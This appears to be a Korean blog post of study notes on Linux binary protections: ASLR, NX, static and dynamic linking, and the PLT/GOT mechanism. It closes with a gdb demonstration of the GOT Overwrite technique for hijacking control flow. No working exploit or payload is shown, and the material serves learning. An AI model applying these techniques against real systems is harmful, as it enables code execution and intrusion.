아래의 예제로 사용하여 ASLR 특징을 알아보자.

// Name: addr.c
// Compile: gcc addr.c -o addr -ldl -no-pie -fno-PIE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
  char buf_stack[0x10];                   // 스택 버퍼
  char *buf_heap = (char *)malloc(0x10);  // 힙 버퍼
  printf("buf_stack addr: %p\n", buf_stack);
  printf("buf_heap addr: %p\n", buf_heap);
  printf("libc_base addr: %p\n",
         *(void **)dlopen("libc.so.6", RTLD_LAZY));  // 라이브러리 주소
  printf("printf addr: %p\n",
         dlsym(dlopen("libc.so.6", RTLD_LAZY),
               "printf"));  // 라이브러리 함수의 주소
  printf("main addr: %p\n", main);  // 코드 영역의 함수 주소
}

 

- ASLR의 특징

  스택 영역의 buf_stack, 힙 영역의 buf_heap, 라이브러리 함수 printf, 코드 영역의 함수 main, 그리고 라이브러리 매핑 주소 libc_base가 출력되었다. 결과를 살펴보면 다음과 같은 특징이 있다.

  • 코드 영역의 main함수를 제외한 다른 영역의 주소들은 실행할 때마다 변경된다.
    실행할 때 마다 주소가 변경되기 때문에 바이너리를 실행하기 전에 해당 영역들의 주소를 예측할 수 없다.
  • 바이너리를 반복해서 실행해도 printf 주소의 하위 12비트 값은 변경되지 않는다.
    리눅스는 ASLR이 적용됐을 때, 파일을 페이지(page)1 단위로 임의 주소에 매핑한다. 따라서 페이지의 크기인 12비트 이하로는 주소가 변경되지 않는다.
  • libc_base와 printf의 주소 차이는 항상 같다.
    ASLR이 적용되면, 라이브러리는 임의 주소에 매핑된다. 그러나 라이브러리 파일을 그대로 매핑하는 것이므로 매핑된 주소로부터 라이브러리의 다른 심볼들 까지의 거리(Offset)는 항상 같다.

 

▶ NX (No-eXecute)

: 실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역을 분리하는 보호 기법

 

  어떤 메모리 영역에 대해 쓰기 권한과 실행 권한이 함께 있으면 시스템이 취약해지기 쉽다. 예를 들어, 코드 영역에 쓰기 권한이 있으면 공격자는 코드를 수정하여 원하는 코드가 실행되게 할 수 있고, 반대로 스택이나 데이터 영역에 실행 권한이 있으면 Return to Shellcode와 같은 공격을 시도할 수 있다.

  CPU가 NX를 지원하면 컴파일러 옵션을 통해 바이너리에 NX를 적용할 수 있으며, NX가 적용된 바이너리는 실행될 때 각 메모리 영역에 필요한 권한만을 부여받는다. gdb의 vmmap으로 NX 적용 전후의 메모리 맵을 비교하면, 다음과 같이 NX가 적용된 바이너리에는 코드 영역 외에 실행 권한이 없는 것을 확인할 수 있다. 반면, NX가 적용되지 않은 바이너리에는 스택, 힙, 데이터 영역에 실행 권한이 존재하는 것을 확인할 수 있다.

 

 

- Checksec을 이용한 NX 확인

checksec을 이용하면 바이너리에 NX의 적용 여부를 확인할 수 있다.

+) NX의 다양한 명칭

NX를 인텔은 XD(eXecute Disable), AMD는 NX, 윈도우는 DEP(Data Execution Prevention), ARM에서는 XN(eXecute Never)라고 칭하고 있다. 

 

- Retrun to Shellcode w/t NX

stage5에서의 r2s에 NX 보호기법을 적용한 후, 동일한 익스플로잇을 실행했을 때의 결과를 확인해보자.

r2s.c를 -zexecstack 옵션을 제거해 컴파일하고, checksec으로 확인해보면 NX가 활성화되어 있다.

 

  이 바이너리를 대상으로 익스플로잇 코드를 실행하면, 다음과 같이 Segmentation fault가 발생한다. 이는 NX가 적용되어 스택 영역에 실행 권한이 사라지게 되면서, 셸코드가 실행되지 못하고 종료된 것이다.

 

- Checksec을 이용한 NX확인

checksec을 이용하면 바이너리에 NX의 적용 여부를 확인할 수 있다.

NX Enabled / NX Disabled

 


 

[ Static Link vs Dynamic Link ]

Background: Library - Static Link vs. Dynamic Link

▶ 라이브러리

: 컴퓨터 시스템에서, 프로그램들이 함수나, 변수를 공유해서 사용할 수 있게 하는 것

 

  대개의 프로그램은 서로 공통으로 사용하는 함수들이 많다. 예시로는 printf, scanf, strlen, memcpy, malloc 등은 많은 C 프로그래머들이 코드를 작성하면서 사용하는 함수가 있다.

 

  C언어를 비롯하여 많은 컴파일 언어들은 자주 사용되는 함수들의 정의를 묶어서 하나의 라이브러리 파일로 만들고, 이를 여러 프로그램이 공유해서 사용할 수 있도록 지원하고 있다. 라이브러리를 사용하면 같은 함수를 반복적으로 정의해야 하는 수고를 덜 수 있어서 코드 개발의 효율이 높아진다는 장점이 있다.

  또한, 각 언어에서 범용적으로 많이 사용되는 함수들은 표준 라이브러리가 제작되어 있어서 개발자들은 쉽게 해당 함수들을 사용할 수 있다. 대표적으로, C의 표준 라이브러리인 libc는 우분투에 기본으로 탑재된 라이브러리이며, 실습환경에서는 /lib/x86_64-linux-gnu/libc-2.27.so에 있다. 처음 코딩을 공부할 때, printf를 정의한 적이 없지만 printf(“Hello, World!”)라는 예제를 컴파일해서, 실행할 수 있는 것은 libc에 이 함수가 이미 정의되어 있기 때문이다.

 

▶ 링크

: 많은 프로그래밍 언어에서 컴파일의 마지막 단계로 알려져 있다. 프로그램에서 어떤 라이브러리의 함수를 사용한다면, 호출된 함수와 실제 라이브러리의 함수가 링크 과정에서 연결된다. 

 

// Name: hello-world.c
// Compile: gcc -o hello-world hello-world.c
#include <stdio.h>
int main() {
  puts("Hello, world!");
  return 0;
}

 

  리눅스에서 C 소스 코드는 전처리, 컴파일, 어셈블 과정을 거쳐 ELF형식을 갖춘 오브젝트 파일(Object file)로 번역된다. 아래 사진에서의 gcc명령어로 hello-world.c를 어셈블할 수 있다.

  오브젝트 파일은 실행 가능한 형식을 갖추고 있지만, 라이브러리 함수들의 정의가 어디 있는지 알지 못하므로 실행은 불가능하다. 다음 명령어를 실행해보면, puts의 선언이 stdio.h에 있어서 심볼(Symbol)로는 기록되어 있지만, 심볼에 대한 자세한 내용은 하나도 기록되어 있지 않다. 심볼과 관련된 정보들을 찾아서 최종 실행 파일에 기록하는 것이 링크 과정에서 하는 일 중 하나이다.

 

아래 사진처럼 libc에서 puts의 정의를 찾아 연결한 것을 확인할 수 있다.

  여기서 libc를 같이 컴파일하지 않았음에도 libc에서 해당 심볼을 탐색한 것은, libc가 있는 /lib/x86_64-linux-gnu/가 표준 라이브러리 경로에 포함되어 있기 때문이다. gcc는 소스 코드를 컴파일할 때 표준 라이브러리의 라이브러리 파일들을 모두 탐색한다. 

  아래 사진에서의 명령어로 표준 라이브러리의 경로를 확인할 수 있다. 링크를 거치고 나면 프로그램에서 puts를 호출할 때, puts의 정의가 있는 libc에서 puts의 코드를 찾고, 해당 코드를 실행하게 된다.

 

▶ 라이브러리와 링크의 종류

- 동적 링크 (동적 라이브러리를 링크)

  프로그램을 사람으로, 라이브러리를 도서관으로 비유했을 때, 동적 링크는 가장 자연스러운 도서관 사용 방법이다.

  • 동적 링크된 바이너리를 실행 → 동적 라이브러리가 프로세스의 메모리에 매핑된다.
  • 실행 중에 라이브러리의 함수를 호출 → 매핑된 라이브러리에서 호출할 함수의 주소를 찾고, 그 함수를 실행한다.

 

- 정적 링크 (정적 라이브러리를 링크)

  마찬가지의 비유를 했을 때, 정적 링크는 도서관의 모든 책을 암기하는 것과 같다.

  • 바이너리에 정적 라이브러리의 모든 함수가 포함된다.
  • 해당 함수를 호출할 때, 라이브러리를 참조하는 것이 아닌 자신의 함수를 호출하는 것처럼 호출한다.
  • 라이브러리에서 원하는 함수를 찾지 않아도 되니 탐색의 비용이 절감되는 듯하지만, 여러 바이너리에서 라이브러리를 사용하면 그 라이브러리의 복제가 여러 번 이루어지게 되므로 용량을 낭비하게 된다.

각각의 용량을 ls로 비교해보면 static이 dynamic보다 100배 가까이 더 많은 용량을 차지한다.

 

- 호출 방법

  static에서는 puts가 있는 0x410220을 직접 호출한다. 반면, dynamic에서는 puts의 plt주소인 0x4003f0을 호출한다. 이러한 차이가 발생하는 이유는 앞서 이야기했듯, 동적 링크된 바이너리는 함수의 주소를 라이브러리에서 “찾아야”하기 때문이다. plt는 이 과정에 사용되는 테이블이다.

 

▶ PLT와 GOT

  PLT(Procedure Linkage Table)와 GOT(Global Offset Table)는 라이브러리에서 동적 링크된 심볼의 주소를 찾을 때 사용하는 테이블이다.

 

  바이너리가 실행되면 ASLR에 의해 라이브러리가 임의의 주소에 매핑된다. 이 상태에서 라이브러리 함수를 호출하면, 함수의 이름을 바탕으로 라이브러리에서 심볼들을 탐색하고, 해당 함수의 정의를 발견하면 그 주소로 실행 흐름을 옮기게 된다. 이 전 과정을 통틀어 runtime resolve라고 한다.

 

  그런데 만약 반복적으로 호출되는 함수의 정의를 매번 탐색해야 한다면 비효율적일 것이다. 그래서 ELF는 GOT라는 테이블을 두고, resolve된 함수의 주소를 해당 테이블에 저장한다. 그리고 나중에 다시 해당 함수를 호출하면 저장된 주소를 꺼내서 사용한다.

 

  아래 코드를 활용해 실제 바이너리에서 어떻게 이런 동작이 일어나는지 살펴보자.

// Name: got.c
// Compile: gcc -o got got.c
#include <stdio.h>
int main() {
  puts("Resolving address of 'puts'.");
  puts("Get address from GOT");
}

 

- resolve 되기 전

  먼저 got.c를 컴파일하고, 실행한 직후(start)에 got를 확인해보면 아직 puts의 주소를 찾기 전이므로, 함수의 주소가 아닌 puts@plt+6 이라는 PLT 내부의 주소가 적혀있다.

 

이제 puts@plt를 호출하는 지점에 중단점을 설정하고, 내부로 따라가 보자. 

 

PLT에서는 먼저 puts의 GOT인 0x601018에 쓰인 값으로 실행 흐름을 옮긴다. 현재 GOT에는 puts@plt+6의 주소가 쓰여있으므로, 바로 다음 줄의 코드를 실행하게 된다.

 

  여기서 코드를 조금 더 실행시키면 dl_runtime_resolve_xsavec라는 함수가 실행되는데, 이 함수에서 puts의 주소가 구해지고, GOT에 주소가 써진다.

 

- resolve된 후

두번째로 puts@plt를 호출할 때는 GOT에 puts의 주소가 쓰여있어서 바로 puts가 실행된다.

 

▶ 시스템 해킹의 관점에서 본 PLT와 GOT

  PLT와 GOT는 동적 링크된 바이너리에서 라이브러리 함수의 주소를 찾고, 기록할 때 사용되는 중요한 테이블이다. 그런데, 시스템 해커의 관점에서 보면 PLT에서 GOT를 참조하여 실행 흐름을 옮길 때, GOT의 값을 검증하지 않는다는 보안상의 약점이 있다.

 

  따라서 앞의 예에서 GOT에 저장된 puts의 주소를 공격자가 임의로 변경할 수 있으면, 두 번째로 puts가 호출될 때 공격자가 원하는 코드가 실행되게할 수 있다.

 

  이 공격 기법이 가능한지 gdb를 이용하여 간단한 실험을 해볼 수 있다. 앞의 got바이너리의 두 번째 puts 호출 직전에 puts의 GOT 값을 “AAAAAAAA”로 변경하고 계속 실행시키면, 실제로 “AAAAAAAA”로 실행 흐름이 옮겨지는 것을 확인할 수 있다.

 

set *(unsigned long long*)0x601018 = 0x4141414141414141라고 작성하였더니 아래와 같은 결과가 나왔다.

  이런 공격 기법을 GOT Overwrite라고 부르며, 임의 주소에 값을 쓸 수 있을 때, RCE를 하기 위한 방법으로 사용될 수 있다. 

 

+ Recent posts